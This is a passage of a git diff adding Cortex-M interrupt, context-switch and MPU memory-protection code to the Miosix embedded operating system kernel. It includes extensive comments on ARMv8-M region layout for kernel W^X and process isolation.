__attribute__((naked)) PendSV_Handler() +{ + //In Miosix 3.0, a context switch is possible only from this interrupt, + //unless processes are enabled in which case also fault handlers and the SVC + //handler can do so. If there is the need to perform a context switch + //from within another interrupt, such as if a peripheral driver interrupt + //has woken up a thread whose priority is higher than the one that was + //running when the interrupt occurred, the interrupt must call + //IRQinvokeScheduler which causes the PendSV interrupt (this interrupt) to + //become pending. When the peripheral interrupt complets, the PendSV + //interrupt is run calling the scheduler and performing the constext switch. + //Note that just like in Miosix 2.x, in order to perform a context switch we + //need to override the compiler generated function prologue and epilogue + //as we need to save the entire CPU context with our OS-specific code. + //To do so, we mark the function naked. As naked function can only contain + //assembly code, we save and restore the context with the saveContext and + //restoreContext macros written in assembly, and call the actual interrupt + //implementation which is written in C++ in the function pendsvImpl(). + //Since we are forced to perform the function call in assembly, we need to + //call the C++ mangled name of pendsvImpl() + saveContext(); + //We would like to call Scheduler::IRQrunScheduler() which will select + //at compile-time which scheduler to run, but this can't be done froma naked + //function and we're trying to avoid to call an intermediate C++ function + #if defined(SCHED_TYPE_PRIORITY) + asm volatile("bl _ZN6miosix17PriorityScheduler15IRQrunSchedulerEv"); + #elif defined(SCHED_TYPE_CONTROL_BASED) + asm volatile("bl _ZN6miosix16ControlScheduler15IRQrunSchedulerEv"); + #elif defined(SCHED_TYPE_EDF) + asm volatile("bl _ZN6miosix12EDFScheduler15IRQrunSchedulerEv"); + #else + #error No scheduler selected in miosix_settings.h + #endif + restoreContext(); +} + +void SysTick_Handler() +{ + #ifdef OS_TIMER_MODEL_UNIFIED + FastGlobalLockFromIrq lock; + IRQerrorLog("\r\n***Unexpected SysTick\r\n"); + IRQsystemReboot(); + #else //OS_TIMER_MODEL_UNIFIED + // In the separate timer model, SysTick is used to implement + // IRQosTimerSetPreemption(), and when the set time expires the scheduler + // should be called. We must do so here since SysTick is a system interrupt + // and not a peripheral interrupt, thus it cannot be registered with + // IRQregisterIrq. + // Miosix requires a one shot timer for preemption, not a periodic one, so + // clear TICKINT to prevent further interrupts. The timer is kept running + // so as to allow measuring burst length for schedulers that need it. + // Avoid doing a read-modify-write as reading CTRL clears COUNTFLAG. + SysTick->CTRL=SysTick_CTRL_CLKSOURCE_Msk | SysTick_CTRL_ENABLE_Msk; + IRQinvokeScheduler(); + #endif //OS_TIMER_MODEL_UNIFIED +} + +static void unexpectedInterrupt(void* arg) +{ + FastGlobalLockFromIrq lock; + #ifdef WITH_ERRLOG + auto entryNum=reinterpret_cast(arg); + IRQerrorLog("\r\n***Caught unregistered interrupt number "); + printUnsignedInt(entryNum); + IRQerrorLog("\r\n"); + #endif //WITH_ERRLOG + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/cpu/common/cortexMx_interrupts.h b/miosix/arch/cpu/common/cortexMx_interrupts.h new file mode 100644 index 000000000..b5043b06a --- /dev/null +++ b/miosix/arch/cpu/common/cortexMx_interrupts.h @@ -0,0 +1,68 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/arch_registers.h" +#include "interfaces/cpu_const.h" + +namespace miosix { + +#ifdef WITH_SMP + +/** + * \internal Register an IRQ handler on the current core. + * + * \note This function is specific for Cortex-M processors. In multicore + * microcontrollers with Cortex-M processors, the interrupt controllers are + * NVICs, as opposed to the GICs found in Cortex-A cores. Therefore, + * IRQregisterIrqOnCore functions are implemented by using IRQcallOnCore to + * dispatch a call to this function to the correct core. But, if we already + * know which processor we are running on, it is more appropriate to use + * the *OnCurrentCore functions directly, and this is why they are made + * available here. + */ +void IRQregisterIrqOnCurrentCore(unsigned int id, void (*handler)(void*), void *arg) noexcept; + +/** + * \internal Unregister an IRQ handler on the current core. + * + * \note This function is specific for Cortex-M processors. In multicore + * microcontrollers with Cortex-M processors, the interrupt controllers are + * NVICs, as opposed to the GICs found in Cortex-A cores. Therefore, + * IRQregisterIrqOnCore functions are implemented by using IRQcallOnCore to + * dispatch a call to this function to the correct core. But, if we already + * know which processor we are running on, it is more appropriate to use + * the *OnCurrentCore functions directly, and this is why they are made + * available here. + */ +void IRQunregisterIrqOnCurrentCore(unsigned int id, void (*handler)(void*), void *arg) noexcept; + +#endif // WITH_SMP + +} //namespace miosix diff --git a/miosix/arch/cpu/common/cortexMx_mpu.cpp b/miosix/arch/cpu/common/cortexMx_mpu.cpp new file mode 100644 index 000000000..6805916ad --- /dev/null +++ b/miosix/arch/cpu/common/cortexMx_mpu.cpp @@ -0,0 +1,194 @@ +/*************************************************************************** + * Copyright (C) 2018 by Filippi Nicole, Padalino Luca * + * Copyright (C) 2026 by Alain Carlucci, Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "cortexMx_mpu.h" +#include "kernel/error.h" +#include "miosix_settings.h" +#include "interfaces_private/userspace.h" + +#if __MPU_PRESENT==1 + +using namespace std; + +namespace miosix { + +/** + * Using the MPU, configure a region of the memory space as + * - write-through cacheable + * - non-shareable + * - accessible only by privileged code (processes can't access it) + * - either writable or executable (W^X) + * \param region MPU region. Note that in ARMv7M and lower region 6 and 7 are + * used by processes, and should be avoided here + * \param base base address, aligned to a multiple of size in ARMv7M and lower, + * while on ARMv8M aligned to a multiple of 32 bytes + * \param size size, must be at least 32. For ARMv7M and lower must also be a + * power of 2 + * \param executePermitted if true configure MPU to allow code execution, + * if false configure MPU to trap code execution for W^X protection + */ +static void IRQconfigureMPURegion(unsigned int region, unsigned int base, + unsigned int size, bool executePermitted) +{ + #if __CORTEX_M == 33U + // ARMv8-M + const unsigned int MPU_RLAR_PXN_Msk=1<<4; //This bit is missing in the ARM .h + MPU->RNR=region; + MPU->RBAR=(base & (~0x1f)) + | (executePermitted ? 2<RLAR=((base+size-1) & (~0x1f)) + | (executePermitted ? 0 : MPU_RLAR_PXN_Msk) + | (0<RBAR=(base & (~0x1f)) | MPU_RBAR_VALID_Msk | region; + MPU->RASR= (executePermitted ? 0 : MPU_RASR_XN_Msk) + | (executePermitted ? 0b101<(&_xram_start); + //NOTE: volatile is important, otherwise compiler for some reason + //assumes _xram_size can't be nullptr, so xramSize cannot be 0 + volatile unsigned int xramSize=reinterpret_cast(&_xram_size); + + #ifdef __CODE_IN_XRAM + constexpr bool xramExec=true; + #else //__CODE_IN_XRAM + constexpr bool xramExec=false; + #endif //__CODE_IN_XRAM + + #if __CORTEX_M == 33U + // ARMv8-M MPU attributes are stored in separate registers, indexed in RLAR + MPU->MAIR0 = (0xaa << 0); // Normal, outer/inner write through, no write alloc + MPU->MAIR1 = 0; + + // NOTE: using the MPU in ARMv8M is a mess because regions cannot overlap + // Thus we can no longer do a "divide and conquer" approach where we use + // low numbered regions for kernel-level W^X and cacheability, and overlay + // on top the regions for processes. When the kernel is compiled without + // processes we only use regions 0,1,6 and never change them after boot. + // When processes are enabled, we use up to a total of 7 regions (0 to 6), + // out of which the first 6 are changed dynamically at every context switch. + // Region 6 is only used when there is an XRAM, but it's not necessarily + // used *for* the XRAM. It's used for the RAM memory region that does *not* + // contain the process pool. So if the process pool is in XRAM, then region + // 6 is the internal SRAM, while if the process pool is in the internal SRAM + // then region 6 is the XRAM. Region 6 is the only statically configured + // region that never changes after boot. When the kernel is running, only + // two other regions are used: 0 which is the code, and 1 which is + // "the other RAM" if there's an XRAM and thus region 6 is used, or + // "the only RAM" if there's no XRAM and thus region 6 is not used. + // The use of regions when a userspace process is running is even more + // complicated and it redefines the meaning of regions 0 to 5. It's + // described in cortexMx_userspace.cpp + #ifdef WITH_PROCESSES + extern unsigned char _process_pool_start asm("_process_pool_start"); + const unsigned int poolBase=reinterpret_cast(&_process_pool_start); + bool flip=false; //no XRAM, region 1 must be SRAM + if(xramSize) + { + if(poolBase>=xramBase) flip=true; //pool in XRAM, use region 6 for SRAM + else flip=false; //pool in SRAM, use region 6 for XRAM + } + #else //WITH_PROCESSES + constexpr bool flip=false; //no processes thus no process pool + #endif //WITH_PROCESSES + + //ARM Default memory map: region 0x00000000-0x20000000 for code + IRQconfigureMPURegion(0,0x00000000,0x20000000,true); + //ARM Default memory map: region 0x20000000-0x40000000 for data + IRQconfigureMPURegion(flip ? 6 : 1,0x20000000,0x20000000,false); + //External RAM goes to a chip-specific address, only some chips have it + if(xramSize) IRQconfigureMPURegion(flip ? 1 : 6,xramBase,xramSize,xramExec); + + //If processes are enabled, populate the data structure that is used to + //reconfigure MPU regions 0 to 5 whenever context switching towards the kernel + #ifdef WITH_PROCESSES + unsigned int *ptr=MPUConfiguration::kernelspaceMpuConfiguration; + MPU->RNR=0; ptr[0]=MPU->RBAR; ptr[1]=MPU->RLAR; + MPU->RNR=1; ptr[2]=MPU->RBAR; ptr[3]=MPU->RLAR; + #endif //WITH_PROCESSES + + #else //__CORTEX_M == 33U + + // NOTE: using regions starting from 0 for the kernel because in ARMv6M/7M + // MPU in case of overlapping regions the one with the highest number takes + // priority. The lower regions used by the kernel by default forbid access + // to unprivileged code, while the higher numbered ones are used by processes + // to override the default deny policy for the process-specific memory. + int region=0; + #ifndef _CHIP_STM32F4 + //ARM Default memory map: region 0x00000000-0x20000000 for code + IRQconfigureMPURegion(region++,0x00000000,0x20000000,true); + #else + //Quirk: despite the 0x00000000-0x20000000 memory region is reserved by ARM + //for *code* execution, stm32f4 have a *data* TCM at 0x10000000... + IRQconfigureMPURegion(region++,0x00000000,0x10000000,true); + IRQconfigureMPURegion(region++,0x10000000,0x10000000,false); + #endif + //ARM Default memory map: region 0x20000000-0x40000000 for data + IRQconfigureMPURegion(region++,0x20000000,0x20000000,false); + //External RAM goes to a chip-specific address, only some chips have it + if(xramSize) IRQconfigureMPURegion(region++,xramBase,xramSize,xramExec); + + #endif //__CORTEX_M == 33U + + //After configuring the MPU, enable it + asm volatile("dsb":::"memory"); + MPU->CTRL = MPU_CTRL_HFNMIENA_Msk + | MPU_CTRL_PRIVDEFENA_Msk + | MPU_CTRL_ENABLE_Msk; +} + +#if __CORTEX_M != 33U +unsigned int sizeToMpu(unsigned int size) +{ + if(extraChecks!=ExtraChecks::None && size<32) errorHandler(Error::UNEXPECTED); + unsigned int result=30-__builtin_clz(size); + if(size & (size-1)) result++; + return result; +} +#endif + +} //namespace miosix + +#endif //__MPU_PRESENT==1 diff --git a/miosix/arch/cpu/common/cortexMx_mpu.h b/miosix/arch/cpu/common/cortexMx_mpu.h new file mode 100644 index 000000000..6848c2349 --- /dev/null +++ b/miosix/arch/cpu/common/cortexMx_mpu.h @@ -0,0 +1,78 @@ +/*************************************************************************** + * Copyright (C) 2018 by Filippi Nicole, Padalino Luca, Terraneo Federico* + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once +#include "interfaces/arch_registers.h" + +#ifndef __CORTEX_M +#error This MPU implementation works only on ARM CORTEX M +#endif + +#if !defined(__MPU_PRESENT) || (__MPU_PRESENT!=0 && __MPU_PRESENT!=1) +#error __MPU_PRESENT must be defined to be 0 or 1 +#endif + +namespace miosix { + +#if __MPU_PRESENT==1 + +/** + * \internal + * The kernel calls this function in boot.cpp to configure the MPU for + * kernel-level W^X and cacheability (if caches are present). + */ +void IRQenableMPU(); + +#if __CORTEX_M != 33U +/** + * \internal + * ARMv7M and lower CPUs only allow MPU regions whose size is a power of two, + * and encode the size as the log2 of the actual size with an offset. From ARMv8 + * onward, any region size that is a multiple of 32 bytes is supported, so this + * function is no longer required. + * + * This function convert a memory region size to a bit pattern that can be + * written in ARMv7 or lower MPU registers. + * \param size in bytes. Must be at least 32 + * \return a value that can be written to MPU->RASR to represent that size + */ +unsigned int sizeToMpu(unsigned int size); +#endif + +#else //__MPU_PRESENT==1 + +#warning Architecture does not provide an MPU, kernel-level W^X will not be enforced + +/** + * \internal + * No MPU in this architecture, do nothing + */ +inline void IRQenableMPU() {} + +#endif //__MPU_PRESENT==1 + +} //namespace miosix diff --git a/miosix/arch/cpu/common/cortexMx_userspace.cpp b/miosix/arch/cpu/common/cortexMx_userspace.cpp new file mode 100644 index 000000000..958983d3a --- /dev/null +++ b/miosix/arch/cpu/common/cortexMx_userspace.cpp @@ -0,0 +1,548 @@ +/*************************************************************************** + * Copyright (C) 2018-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces_private/userspace.h" +#include "interfaces/cpu_const.h" +#include "kernel/error.h" +#include +#include +#include +//Only include if needed to prevent printing multiple times the no MPU warning +#if __MPU_PRESENT==1 +#include "cortexMx_mpu.h" +#endif //__MPU_PRESENT==1 + +using namespace std; + +namespace miosix { + +#ifdef WITH_PROCESSES + +// NOTE: workaround for weird compiler bug. See header file for an explanation. +#ifndef __OPTIMIZE__ +void __attribute__((naked,used)) portableSwitchToUserspace() +{ + // It gets worse, the r7 error pops up at random even when not inlining, the + // function, so switch to a naked function + asm volatile("push {r7, lr} \n\t" + "movs r7, #1 \n\t" + "svc 0 \n\t" + "pop {r7, pc} \n\t"); +} +#endif //__OPTIMIZE__ + +void initUserThreadCtxsave(unsigned int *ctxsave, unsigned int pc, int argc, + void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) +{ + unsigned int *stackPtr=reinterpret_cast(argvSp); + //Stack is full descending, so decrement first + stackPtr--; *stackPtr=0x01000000; //--> xPSR + stackPtr--; *stackPtr=pc; //--> pc + stackPtr--; *stackPtr=0xffffffff; //--> lr + stackPtr--; *stackPtr=0; //--> r12 + stackPtr--; *stackPtr=reinterpret_cast(heapEnd); //--> r3 + stackPtr--; *stackPtr=reinterpret_cast(envp); //--> r2 + stackPtr--; *stackPtr=reinterpret_cast(argvSp); //--> r1 + stackPtr--; *stackPtr=argc; //--> r0 + + ctxsave[0]=reinterpret_cast(stackPtr); //--> psp + ctxsave[6]=reinterpret_cast(gotBase); //--> r9 + //leaving the content of r4-r8,r10-r11 uninitialized + #if __FPU_PRESENT==1 + //NOTE: only armv7m with fpu has lr in ctxsave + ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops + //leaving the content of s16-s31 uninitialized + #endif //__FPU_PRESENT==1 + + #if __CORTEX_M == 33U + // ARMv8-M stack pointer limit register + // The use of heapEnd+WATERMARK_LEN as stack bottom only works for the main + // thread in a process, but other threads don't have argc,argv,envp anyway + #if __FPU_PRESENT==1 + ctxsave[26]=reinterpret_cast(heapEnd)+WATERMARK_LEN; + #else //__FPU_PRESENT==1 + ctxsave[9]=reinterpret_cast(heapEnd)+WATERMARK_LEN; + #endif //__FPU_PRESENT==1 + #endif //__CORTEX_M == 33U +} + +// +// class FaultData +// + +void FaultData::print() const +{ + using namespace fault; + switch(id) + { + case NONE: break; + case STACKOVERFLOW: + iprintf("* Stack overflow\n"); + break; + case MP: + iprintf("* Attempted data access @ 0x%x",arg); + break; + case MP_NOADDR: + iprintf("* Invalid data access"); + break; + case MP_XN: + iprintf("* Attempted instruction fetch"); + break; + case MP_STACK: + iprintf("* Invalid SP (0x%x) while entering IRQ",arg); + break; + case UF_DIVZERO: + iprintf("* Divide by zero"); + break; + case UF_UNALIGNED: + iprintf("* Unaligned memory access"); + break; + case UF_COPROC: + iprintf("* Attempted coprocessor access"); + break; + case UF_EXCRET: + iprintf("* Invalid exception return sequence"); + break; + case UF_EPSR: + iprintf("* Attempted access to the EPSR"); + break; + case UF_UNDEF: + iprintf("* Undefined instruction"); + break; + case UF_UNEXP: + iprintf("* Unexpected usage fault"); + break; + case HARDFAULT: + iprintf("* Hardfault"); + break; + case BF: + iprintf("* Busfault @ 0x%x",arg); + break; + case BF_NOADDR: + iprintf("* Busfault"); + break; + } + if(id!=NONE && id!=STACKOVERFLOW) + { + //NOTE: if the fault really occurs at the address 0xbadadd we'll + //spuriously say the stack is corrupted... + if(pc==0xbadadd) iprintf(" (Missing PC, corrupted stack)\n"); + else iprintf(" PC=0x%x\n",pc); + } +} + +void FaultData::IRQtryAddProgramCounter(unsigned int *userCtxsave, + const MPUConfiguration& mpu) +{ + // ARM Cortex CPUs push the program counter on the stack. Thus we retrieve + // the stack pointer from userCtxsave and check it is not corrupted. + // We use mpu.withinForWriting even though the we're only reading from the + // stack frame since the stack pointer can't point to read-only memory, if + // it does it's corrupted. If the pointer checks out, we get the desired pc + const int pcOffsetInStackFrame=6; + auto *sp=reinterpret_cast(userCtxsave[STACK_OFFSET_IN_CTXSAVE]); + // NOTE: we check that (pcOffsetInStackFrame+1)*4 words are within the + // process address space instead of CTXSAVE_ON_STACK since in CPUs with + // FPU until a process uses FPU registers they are not saved, so it is + // possible that sp+CTXSAVE_ON_STACK coud overflow the process address space + if(mpu.withinForWriting(sp,(pcOffsetInStackFrame+1)*sizeof(unsigned int*))) + pc=sp[pcOffsetInStackFrame]; +} + +// +// class MPUConfiguration +// + +/** + * \internal + * Decode the boundaries of an MPU region for a given CPU + * \param reg0 First register encoding the region information (RBAR) + * \param reg1 Second register encoding the region information (RASR or RLAR) + * \return a tuple with the start and end address + */ +static tuple decodeMpuRegion(unsigned int reg0, unsigned int reg1) +{ + #if __MPU_PRESENT==1 + #if __CORTEX_M == 33 + size_t regionStart=reg0 & (~0x1f); + size_t regionEnd=(reg1 | 0x1f)+1; + #else + size_t regionStart=reg0 & (~0x1f); + size_t regionEnd=regionStart+(1<<(((reg1>>1) & 31)+1)); + #endif + #else //__MPU_PRESENT==1 + size_t regionStart=reg0; + size_t regionEnd=reg1; + #endif //__MPU_PRESENT==1 + return {regionStart,regionEnd}; +} + +#if defined(__CORTEX_M) && __CORTEX_M == 33 && __MPU_PRESENT==1 +/* + * Since ARM made the stupid design decision to disallow MPU regions to overlap + * starting from ARMv8, implementing processes just got harder and more + * inefficient. + * Miosix uses the MPU also in kernel code to achieve kernel-level W^X and to + * override the default cacheability policy, thus we need to cover each existing + * memory region with an MPU region for the kernel. These regions diallow + * nonprivileged access. On top of that, we need to overlap two regions where + * unprivileged access is allowed, that need to be dynamically changed at every + * context switch to map to the currently running process. + * How do we do it now that overlapping regions is no longer possible? + * Here's how: by juggling MPU regions as best as we can + * + * Running Running Running Running + * kernel process process process + * from XIP no XIP no XIP (code allocated after data) + * +-------+ +-------+ +-------+ +-------+ + * | 6 | | 6 | | 6 | | 6 | SRAM (or XRAM), when both exist + * +-------+ +-------+ +-------+ +-------+ + * + * +-------+ +-------+ +-------+ +-------+ + * | | | | | 5 | | 5 | + * | | | 5 | +-------+ +-------+ + * | | | | | [4] | | [1] | + * | | +-------+ +-------+ +-------+ + * | 1 | | [4] | | 3 | | 3 | XRAM (or SRAM when there's no XRAM) + * | | +-------+ +-------+ +-------+ + * | | | | | [1] | | [4] | + * | | | 3 | +-------+ +-------+ + * | | | | | 2 | | 2 | + * +-------+ +-------+ +-------+ +-------+ + * + * +-------+ +-------+ +-------+ +-------+ + * | | | 2 | | | | | + * | | +-------+ | | | | + * | 0 | | [1] | | 0 | | 0 | FLASH + * | | +-------+ | | | | + * | | | 0 | | | | | + * +-------+ +-------+ +-------+ +-------+ + * + * We assume the kernel has access to either two or three noncontiguous memory + * regions. The first (bottom) is the FLASH memory, which contains the kernel + * and the XIP filesystem. The second (middle) is the one that contains the + * process pool, the RAM allocator for processes. This region can either contain + * *only* the process pool, or contain *both* kernel data and the process pool. + * The former is a common configuration when an external RAM (XRAM) is present + * and whoever ported the board to Miosix decided to add a linker script + * dedicating the entire XRAM for processes. + * The latter is a common configuration when there is no XRAM and thus the + * internal SRAM has to be partitioned among the kernel and processes. However + * these are just examples, there is a lot of freedom in how board designers + * can make linker scripts for Miosix. + * The third memory region, if present, is the RAM memory where the process + * pool is *not* mapped, which again is commonly the SRAM in boards where an + * XRAM is present. It ususally contains all kernel data as the entire kernel + * data can easily fit in a small internal SRAM. + * Somewhat confusingly, region 6 can either be *above* or *below* te other + * RAM region (i.e, at higher or lower addresses). What matters is that region + * 6 is the RAM wihtout the process pool, wherever that happens to be. + * + * Numbers in the figure are the used MPU regions for the three possible memory + * layouts. Square brackets indicate a region where nonprivileged acces is + * allowed. For all process memory layouts, region 1 is always the process code, + * while region 4 is always the process data. + * The left layout is the one when the kernel (i.e: a kernel thread) is running. + * This is how the kernel boots, the configuration is done in cortexMx_mpu.cpp + * and a copy of the configuration for regions 0 and 1 is stored in the variable + * kernelspaceMpuConfiguration as we'll need to restore this layout at runtime + * every time we switch back to the kernel. + * The middle left layout is the one when a process is running whose code is in + * the XIP filesystem, thus running from FLASH. Since regions cannot overlap, we + * need to split the FLASH and the RAM that contains the process pool in three + * regions, the one before the process, the one for the process, and the one + * after it. The top or bottom regions may also be empty. + * The middle right layout is the one when a process is running whose code is in + * the process pool. Note that even though both the code and data are in the + * pool, the kernel uses two noncontiguous regions anyway, both to make better + * use of the available RAM (two smaller blocks may fit where a single larger + * block may not), but also to enforce W^X, as well as to share the code region + * in case more processes are spawned with the same program. + * This memory layout swaps regions 1 and 2 so that regardless of whether the + * process is running from XIP or not, the regions where unprivileged access + * is allowed are always 1 (code) and 4 (data), which simplifies checking + * syscall parameters. + * The right layout exists because the process pool allocator makes no guarantee + * to allocate the process code at lower addresses then the process data. + * In that case, region 1 and 4 are swapped so that region 1 is always the code + * and region 4 always the data. + * + * The cost of this design, which unfortunately is the only possible one now + * that overlapping regions are no longer possible, is that there are 6 regions + * (0 to 5) that need to be switched at runtime at every context switch. + * Can ARM please undo the stupid design decision of forbidding regions overlap? + */ +static constexpr unsigned int codeIdx=2*1; ///(elfBase); + const unsigned int codeEnd=codeStart+elfSize; + const unsigned int dataStart=reinterpret_cast(imageBase); + const unsigned int dataEnd=dataStart+imageSize; + #if __MPU_PRESENT==1 + #if __CORTEX_M == 33 + auto mpuRegion=[this](unsigned int region, unsigned int start, unsigned int end, + bool executePermitted, bool unprivilegedAccess) + { + if(start==end) //Corner case: if address range is empty disable region + { + regValues[2*region+0]=0; //RBAR=0 + regValues[2*region+1]=0; //RLAR=0, region disabled + return; + } + unsigned int ap,xn,pxn; + if(executePermitted==false && unprivilegedAccess==false) + { + ap = 0b00<<1; //RW by privileged only + xn = 1<<0; //No execute + pxn = 1<<4; //Privileged no execute + } else if(executePermitted==true && unprivilegedAccess==false) { + ap = 0b10<<1; //RO by privileged only + xn = 0<<0; //Execute + pxn = 0<<4; //Privileged execute + } else if(executePermitted==false && unprivilegedAccess==true) { + ap = 0b01<<1; //RW by privileged and unprivileged + xn = 1<<0; //No execute + pxn = 1<<4; //Privileged no execute + } else if(executePermitted==true && unprivilegedAccess==true) { + ap = 0b11<<1; //RO by privileged and unprivileged + xn = 0<<0; //Execute + pxn = 1<<4; //Privileged no execute + } + regValues[2*region+0]=(start & (~0x1f)) | ap | xn; //RBAR + regValues[2*region+1]=((end-1) & (~0x1f)) | pxn | 1; //RLAR + //NOTE: AttrIndex set to 0, MAIR set in cortexMx_mpu.cpp + + // unsigned int rbase,rend; + // tie(rbase,rend)=decodeMpuRegion(regValues[2*region],regValues[2*region+1]); + // char w=regValues[2*region] & (0b10<codeStart) + { + //The code region has been allocated before the data region + mpuRegion(0,0x00000000,0x20000000,true, false); + mpuRegion(2,ramStart, codeStart, false,false); + mpuRegion(1,codeStart, codeEnd, true, true); //Region 1: code + mpuRegion(3,codeEnd, dataStart, false,false); + mpuRegion(4,dataStart, dataEnd, false,true); //Region 4: data + mpuRegion(5,dataEnd, ramEnd, false,false); + } else { + //The code region has been allocated after the data region + mpuRegion(0,0x00000000,0x20000000,true, false); + mpuRegion(2,ramStart, dataStart, false,false); + mpuRegion(4,dataStart, dataEnd, false,true); //Region 4: data + mpuRegion(3,dataEnd, codeStart, false,false); + mpuRegion(1,codeStart, codeEnd, true, true); //Region 1: code + mpuRegion(5,codeEnd, ramEnd, false,false); + } + } + #else // __CORTEX_M == 33 + // NOTE: using regions 6 and 7 for processes because in the ARM MPU in case + // of overlapping regions the one with the highest number takes priority. + // The lower regions are used by the kernel and by default forbid access to + // unprivileged code, thus we need higher numbered ones for processes to + // override the default deny policy for the process-specific memory. + // NOTE: The ARM documentation is unclear about the effect of the shareable + // bit on a single core architecture. Experimental evidence on an STM32F476 + // shows that setting it in IRQconfigureMPU for the internal RAM region + // causes the boot to fail. + // For this reason, all regions are marked as not shareable + (void)codeEnd; + (void)dataEnd; + regValues[0]=(codeStart & (~0x1f)) + | MPU_RBAR_VALID_Msk | 6; //Region 6 + regValues[1]=0b110< MPUConfiguration::roundRegionForMPU( + const unsigned int *ptr, unsigned int size) +{ + #if __MPU_PRESENT==1 + unsigned int p=reinterpret_cast(ptr); + #if __CORTEX_M == 33 + //ARMv8+ has no power of 2 size constraint, just align pointer to 32 byte + //and make size a multiple of 32 bytes + unsigned int ap=p & (~0x1f); + size+=p-ap; + return {reinterpret_cast(ap), (size+0x1f) & (~0x1f)}; + #else //__CORTEX_M == 33 + constexpr unsigned int maxSize=0x80000000; + //NOTE: worst case is p=2147483632 size=32, a memory block in the middle of + //the 2GB mark. To meet the constraint of returning a pointer aligned to its + //size we would need to return 0 as pointer, and 4GB as size, the whole + //address space. This is however not possible as 4GB does not fit in an + //unsigned int and would overflow size. To prevent an infinite loop, the + //returned aligned size is limited to less than 2GB, thereby preventing + //cases when the algorithm would reach 2GB and try to increase it further. + //Note that the algorithm would fail not only in the impossible worst case + //but also in cases where a 2GB size would be enough. This is not a concern + //as in practical applications memory blocks are within the microcontroller + //flash memory, and the memory is always aligned to its size, so the maximum + //aligned block this algorithm would return is just the entire flash memory, + //whose size is far less than 2GB in modern microcontrollers. + unsigned int x=std::bit_ceil(size); + for(;;) + { + if(x>=maxSize) errorHandler(Error::UNEXPECTED); + unsigned int ap=p & (~(x-1)); + unsigned int addsz=p-ap; + unsigned int y=std::bit_ceil(size+addsz); + //iprintf("ap=%u addsz=%u x=%u y=%u\n",ap,addsz,x,y); + if(y==x) return {reinterpret_cast(ap),x}; + x=y; + } + #endif //__CORTEX_M == 33 + #else //__MPU_PRESENT==1 + return {ptr,size}; //No MPU, no rounding needed + #endif //__MPU_PRESENT==1 +} + +bool MPUConfiguration::withinForReading(const void *ptr, size_t size) const +{ + size_t base=reinterpret_cast(ptr); + size_t codeStart,codeEnd,dataStart,dataEnd; + tie(codeStart,codeEnd)=decodeMpuRegion(regValues[codeIdx],regValues[codeIdx+1]); + tie(dataStart,dataEnd)=decodeMpuRegion(regValues[dataIdx],regValues[dataIdx+1]); + //The last check is to prevent a wraparound to be considered valid + return ( (base>=codeStart && base+size<=codeEnd) + || (base>=dataStart && base+size<=dataEnd)) && base+size>=base; +} + +bool MPUConfiguration::withinForWriting(const void *ptr, size_t size) const +{ + //Must be callable also with interrupts disabled, + //used by FaultData::IRQtryAddProgramCounter() + size_t base=reinterpret_cast(ptr); + size_t dataStart,dataEnd; + tie(dataStart,dataEnd)=decodeMpuRegion(regValues[dataIdx],regValues[dataIdx+1]); + //The last check is to prevent a wraparound to be considered valid 